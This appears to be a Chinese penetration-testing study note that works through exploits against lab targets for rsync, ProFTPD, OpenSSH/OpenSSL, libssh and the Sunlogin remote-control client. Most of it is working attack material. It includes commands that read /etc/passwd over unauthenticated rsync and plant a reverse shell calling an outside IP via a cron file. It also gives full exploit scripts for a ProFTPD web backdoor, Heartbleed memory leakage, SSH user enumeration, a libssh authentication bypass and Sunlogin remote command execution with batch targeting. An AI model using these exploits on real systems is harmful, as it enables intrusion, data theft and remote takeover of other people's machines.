应用协议漏洞
一、rsync
- rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口
1.未授权访问
-
打开靶场
-
判断漏洞是否存在
rsync rsync://目标ip:端口
-
读取文件
rsync rsync://47.99.49.128:873/src/tmp/
-
下载文件
rsync rsync://47.99.49.128:873/src/etc/passwd ./
-
上传文件
rsync -av passwd rsync://47.99.49.128:873/src/tmp/passwd
-
获取shell
-
查看crontab中的内容,发现有一个每17分钟执行一次/etc/cron.hourly文件的定时任务
rsync rsync://47.99.49.128:873/src/etc/crontab ./
-
发现每17分钟执行/etc/cron.hourly文件,我们创建一个反弹shell的文件覆盖该文件
vim shell 内容: bash -i >& /dev/tcp/120.46.39.24/8848 0>&1 赋权:chmod +x shell 覆盖文件: rsync -av shell rsync://47.99.49.128:873/src/etc/cron.hourly
-
MSF批量验证
use auxiliary/scanner/rsync/modules_list 进入rsync漏洞扫描模块 show options 查看模块配置方法 set rhosts file:/tmp/ip.txt 批量扫描,指定字典 set threads 10 配置线程
-
【+】代表有漏洞,【*】没有
-
二、ProFTPD
- 一个Unix平台上或是类Unix平台上 (如Linux, FreeBSD等)的FTP服务器程序
1.RCE(cve-2015-3306)
-
https://github.com/t0kx/exploit-CVE-2015-3306
-
打开靶场
-
EXP
#!/usr/bin/env python # CVE-2015-3306 exploit by t0kx # https://github.com/t0kx/exploit-CVE-2015-3306 import re import socket import requests import argparse class Exploit: def __init__(self, host, port, path): self.__sock = None self.__host = host self.__port = port self.__path = path def __connect(self): self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.__sock.connect((self.__host, self.__port)) self.__sock.recv(1024) def __exploit(self): payload = "<?php echo passthru($_GET['cmd']); ?>" self.__sock.send(b"site cpfr /proc/self/cmdline\n") self.__sock.recv(1024) self.__sock.send(("site cpto /tmp/." + payload + "\n").encode("utf-8")) self.__sock.recv(1024) self.__sock.send(("site cpfr /tmp/." + payload + "\n").encode("utf-8")) self.__sock.recv(1024) self.__sock.send(("site cpto "+ self.__path +"/backdoor.php\n").encode("utf-8")) if "Copy successful" in str(self.__sock.recv(1024)): print("[+] Target exploited, acessing shell at http://" + self.__host + "/backdoor.php") print("[+] Running whoami: " + self.__trigger()) print("[+] Done") else: print("[!] Failed") def __trigger(self): data = requests.get("http://" + self.__host + "/backdoor.php?cmd=whoami") match = re.search('cpto /tmp/.([^"]+)', data.text) return match.group(0)[11::].replace("\n", "") def run(self): self.__connect() self.__exploit() def main(args): print("[+] CVE-2015-3306 exploit by t0kx") print("[+] Exploiting " + args.host + ":" + args.port) exploit = Exploit(args.host, int(args.port), args.path) exploit.run() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('--host', required=True) parser.add_argument('--port', required=True) parser.add_argument('--path', required=True) args = parser.parse_args() main(args)
-
执行exp
python3 exploit.py --host 47.99.49.128 --port 56714 --path "/var/www/html"
-
执行命令
:57867/backdoor.php?cmd=id
三、SSH
- OpenSSH 是SSH协议的免费开源实现。SSH协议族可以用来进行远程控制, 或在计算机之间传送文件
- OpenSSL 是一个开源的软件库,使用包含了众多加解密算法,用于传输层安全性 (TLS) 和安全套接字层 (SSL) 协议的强大、商业级和功能齐全的工具包
- libssh 是一个提供SSH相关接口的开源库,包含服务端、客户端等。其服务端代码中存在一处逻辑错误,攻击者可以在认证成功前发送`MSG_USERAUTH_SUCCESS消息,绕过认证过程,未授权访问目标 SSH 服务器
1.心脏出血(CVE-2014-0160 版本很少)
-
受影响版本
OpenSSL 1.0.2-beta OpenSSL 1.0.1 - OpenSSL 1.0.1f
-
打开靶场
-
MSF进行验证
search heartbleed 查找攻击模块 use auxiliary/scanner/ssl/openssl_heartbleed 选择攻击模块 show options 查看需要设置的参数 set RHOST 设置对应的主机 set RPORT 设置对应的端口 set verbose true 设置verbose为true是为了 看到泄露的信息 run 执行
-
EXP获取敏感数据
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import binascii import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return binascii.unhexlify(x.replace(' ', '').replace('\n', '')) hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s: bytes): for b in range(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % c for c in lin) pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin) print(' %04x: %-48s %s' % (b, hxdat, pdat)) print("") def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = b'' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print('Unexpected EOF receiving record header - server closed connection') return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print('Unexpected EOF receiving record payload - server closed connection') return None, None, None print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print('No heartbeat response received, server likely not vulnerable') return False if typ == 24: print('Received heartbeat response:') hexdump(pay) if len(pay) > 3: print('WARNING: server returned more data than it should - server is vulnerable!') else: print('Server processed malformed heartbeat, but did not return any extra data.') return True if typ == 21: print('Received alert:') hexdump(pay) print('Server returned error, likely not vulnerable') return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print('Connecting...') sys.stdout.flush() s.connect((args[0], opts.port)) print('Sending Client Hello...') sys.stdout.flush() s.send(hello) print('Waiting for Server Hello...') sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print('Server closed connection without sending Server Hello.') return # Look for server hello done message. if typ == 22 and pay[0] == 0x0E: break print('Sending heartbeat request...') sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()
2.用户枚举(CVE-2018-15473)
-
影响版本:OpenSSH < 7.7
-
打开靶场
-
MSF进行验证
use auxiliary/scanner/ssh/ssh_enumusers
-
使用POC进行验证
#!/usr/bin/env python ########################################################################### # ____ _____ _____ _ _ # # / __ \ / ____/ ____| | | | # # | | | |_ __ ___ _ __ | (___| (___ | |__| | # # | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | # # | |__| | |_) | __/ | | |____) |___) | | | | # # \____/| .__/ \___|_| |_|_____/_____/|_| |_| # # | | Username Enumeration # # |_| # # # ########################################################################### # Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473) # # Vulnerability: CVE-2018-15473 # # Affected Versions: OpenSSH version < 7.7 # # Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT # # Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit # # Email: Justin.Gardner@SynerComm.com # # Date: August 20, 2018 # ########################################################################### import argparse import logging import paramiko import multiprocessing import socket import string import sys import json from random import randint as rand from random import choice as choice # store function we will overwrite to malform the packet old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] # list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target # with these 3 random usernames (there is an almost 0 possibility that they can be real ones) random_username_list = [] # populate the list for i in range(3): user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20))) random_username_list.append(user) # create custom exception class BadUsername(Exception): def __init__(self): pass # create malicious "add_boolean" function to malform packet def add_boolean(*args, **kwargs): pass # create function to call when username was invalid def call_error(*args, **kwargs): raise BadUsername() # create the malicious function to overwrite MSG_SERVICE_ACCEPT handler def malform_packet(*args, **kwargs): old_add_boolean = paramiko.message.Message.add_boolean paramiko.message.Message.add_boolean = add_boolean result = old_parse_service_accept(*args, **kwargs) #return old add_boolean function so start_client will work again paramiko.message.Message.add_boolean = old_add_boolean return result # create function to perform authentication with malformed packet and desired username def checkUsername(username, tried=0): sock = socket.socket() sock.connect((args.hostname, args.port)) # instantiate transport transport = paramiko.transport.Transport(sock) try: transport.start_client() except paramiko.ssh_exception.SSHException: # server was likely flooded, retry up to 3 times transport.close() if tried < 4: tried += 1 return checkUsername(username, tried) else: print('[-] Failed to negotiate SSH transport') try: transport.auth_publickey(username, paramiko.RSAKey.generate(1024)) except BadUsername: return (username, False) except paramiko.ssh_exception.AuthenticationException: return (username, True) #Successful auth(?) raise Exception("There was an error. Is this the correct version of OpenSSH?") # function to test target system using the randomly generated usernames def checkVulnerable(): vulnerable = True for user in random_username_list: result = checkUsername(user) if result[1]: vulnerable = False return vulnerable def exportJSON(results): data = {"Valid":[], "Invalid":[]} for result in results: if result[1] and result[0] not in data['Valid']: data['Valid'].append(result[0]) elif not result[1] and result[0] not in data['Invalid']: data['Invalid'].append(result[0]) return json.dumps(data) def exportCSV(results): final = "Username, Valid\n" for result in results: final += result[0]+", "+str(result[1])+"\n" return final def exportList(results): final = "" for result in results: if result[1]: final+="++++++" + result[0] + " is a valid user!\n" else: final+=result[0]+" is not a valid user!\n" return final # assign functions to respective handlers paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error # get rid of paramiko logging logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) arg_parser = argparse.ArgumentParser() arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address") arg_parser.add_argument('--port', type=int, default=22, help="The target port") arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used") arg_parser.add_argument('--outputFile', type=str, help="The output file location") arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location") group = arg_parser.add_mutually_exclusive_group(required=True) group.add_argument('--username', type=str, help="The single username to validate") group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through") args = arg_parser.parse_args() def main(): sock = socket.socket() try: sock.connect((args.hostname, args.port)) sock.close() except socket.error: print('[-] Connecting to host failed. Please check the specified host and port.') sys.exit(1) # first we run the function to check if host is vulnerable to this CVE if not checkVulnerable(): # most probably the target host is either patched or running a version not affected by this CVE print("Target host most probably is not vulnerable or already patched, exiting...") sys.exit(0) elif args.username: #single username passed in result = checkUsername(args.username) if result[1]: print(result[0]+" is a valid user!") else: print(result[0]+" is not a valid user!") elif args.userList: #username list passed in try: f = open(args.userList) except IOError: print("[-] File doesn't exist or is unreadable.") sys.exit(3) usernames = map(str.strip, f.readlines()) f.close() # map usernames to their respective threads pool = multiprocessing.Pool(args.threads) results = pool.map(checkUsername, usernames) try: if args.outputFile: outputFile = open(args.outputFile, "w") except IOError: print("[-] Cannot write to outputFile.") sys.exit(5) if args.outputFormat=='json': if args.outputFile: outputFile.writelines(exportJSON(results)) outputFile.close() print("[+] Results successfully written to " + args.outputFile + " in JSON form.") else: print(exportJSON(results)) elif args.outputFormat=='csv': if args.outputFile: outputFile.writelines(exportCSV(results)) outputFile.close() print("[+] Results successfully written to " + args.outputFile + " in CSV form.") else: print(exportCSV(results)) else: if args.outputFile: outputFile.writelines(exportList(results)) outputFile.close() print("[+] Results successfully written to " + args.outputFile + " in List form.") else: print(exportList(results)) else: # no usernames passed in print("[-] No usernames provided to check") sys.exit(4) if __name__ == '__main__': main()
3.命令注入(CVE-2020-15778 价值不高)
- 漏洞版本:<= openssh-8.3p1
4.libssh身份验证绕过(CVE-2018-10933)
-
影响版本
libssh 0.6 及更高版本具有身份验证绕过漏洞。 libssh 版本 0.8.4 和 libssh 0.7.6 已发布,以解决此问题。
-
打开靶场
-
EXP
因其正常连接需要输入密码,使用 EXP 向服务器显示
SSH2_MSG_USERAUTH_SUCCESS
消息
代替服务器等待的SSH2_MSG_USERAUTH_REQUEST
消息,以达到无登录凭据认证#!/usr/bin/env python3 import sys import paramiko import socket import logging logging.basicConfig(stream=sys.stdout, level=logging.DEBUG) bufsize = 2048 def execute(hostname, port, command): sock = socket.socket() try: sock.connect((hostname, int(port))) message = paramiko.message.Message() transport = paramiko.transport.Transport(sock) transport.start_client() message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message) client = transport.open_session(timeout=10) client.exec_command(command) # stdin = client.makefile("wb", bufsize) stdout = client.makefile("rb", bufsize) stderr = client.makefile_stderr("rb", bufsize) output = stdout.read() error = stderr.read() stdout.close() stderr.close() return (output+error).decode() except paramiko.SSHException as e: logging.exception(e) logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable") except socket.error: logging.debug("Unable to connect.") return None if __name__ == '__main__': print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
四、向日葵
1.RCE(CNVD-2022-10207)
-
漏洞安装包下载:https://download.csdn.net/download/weixin_46029520/88782063
-
影响客户端版本:
11.1.1 10.3.0.27372 11.0.0.33162
-
发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用,客户端开启客户端会自动随机开启一个大于
40000
的端口号 -
EXP
Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file] python exp.py -i 127.0.0.1 -p 20038 -c "net user" python exp.py -f targets.txt -c "whoami"
from optparse import OptionParser import requests import json def title(): print(""" ╔═╗┬ ┬┌┐┌╦ ┌─┐┌─┐┬┌┐┌ ╦═╗┌─┐┌─┐ ╚═╗│ ││││║ │ ││ ┬││││───╠╦╝│ ├┤ =.= ╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘ ╩╚═└─┘└─┘ By:J2ekim 向日葵v11.x RCE """) def gettoken(ip, port): print("http://" + ip + ":" + port) url = "http://" + ip + ":" + port + "/cgi-bin/rpc?action=verify-haras" try: res = json.loads(requests.get(url,verify=False, timeout=5).text) # print(res['verify_string']) return res['verify_string'] except requests.exceptions.ConnectTimeout as _: print ("fail", "ConnectTimeout") except Exception as _: print ("fail", "Error") def RunCmd(ip, port, command,token): poc1 = "http://" + ip + ":" + port + "/check?cmd=ping../../../../../../windows/system32/" + command # poc1 = "http://" + ip + ":" + port + "/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+"+ cmd cookies = {"CID": token} # print(cookies) try: resu = requests.get(poc1, cookies=cookies, timeout=5,verify=False).text print(resu) except Exception as _: return ("fail", "Error_") def getshell(url,command): try: print(url) vul_url = url + "/cgi-bin/rpc?action=verify-haras" reps = json.loads(requests.get(vul_url, verify=False, timeout=5).text) verify_string = (reps['verify_string']) cookies = {"CID": verify_string} poc11 = url + "/check?cmd=ping../../../../../../windows/system32/" + command poc_reps = requests.get(poc11, cookies=cookies, timeout=5, verify=False).text print(poc_reps) except TimeoutError: print("timeout") except Exception: print("error") def batch_getshell(filename,command): with open(filename, mode="r", encoding="utf-8") as f: for url in f: if "http" not in url: url = "http://" + url getshell(url,command) else: getshell(url, command) def main(host,port,command): try: token = gettoken(host, port) RunCmd(host, port, command, token) except requests.RequestException as e: print(e) if __name__ == '__main__': title() usage = ("""Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file] python exp.py -i 127.0.0.1 -p 20038 -c "net user" python exp.py -f targets.txt -c "whoami" """) parser = OptionParser(usage=usage) parser.add_option('-i', '--ip', dest='ip') parser.add_option('-p', '--port', dest='port') parser.add_option('-c', '--command', dest='command') parser.add_option('-f', '--file', dest='file') (option, args) = parser.parse_args() host = option.ip port = option.port command = option.command file = option.file if host is None and command is None and port is None : print(usage) elif file is not None: batch_getshell(file,command) else: main(host, port,command)